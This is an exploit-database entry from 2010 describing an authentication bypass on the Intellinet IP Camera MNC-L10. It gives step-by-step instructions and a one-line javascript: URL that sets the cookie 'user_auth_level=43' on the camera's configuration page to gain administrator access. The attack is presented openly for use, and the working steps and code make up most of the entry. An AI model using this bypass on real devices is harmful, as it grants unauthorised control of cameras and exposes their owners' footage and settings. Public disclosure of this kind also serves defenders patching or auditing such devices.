Intellinet IP Camera MNC-L10 - Authentication Bypass

Author: Magnefikko
type: webapps
platform: hardware
port: 
date_added: 2010-08-01 
date_updated: 2010-08-01 
verified: 1 
codes: OSVDB-66933 
tags: 
aliases:  
screenshot_url:  
application_url: 

by Magnefikko
Discovered: 25.01.2009
Publication: 01.08.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.tk
Inj3ct0r Team :: http://inj3ct0r.com
Subgroup: #PRekambr
Name: Intellinet IP Camera Admin Access
Platform: Intellinet IP Camera MNC-L10 and other


...:: Exploit ::...

JS is required.

1. Go to http://cameraip/main_configure.cgi
2. Write in address bar:
--- code ---
javascript:document.cookie="user_auth_level=43";document.location=document.location
--- code ---
3. Push enter.

or add cookie with another method.


----== Promhyl Studies :: http://promhyl.tk ==----
----== Inj3ct0r Team :: http://inj3ct0r.com ==----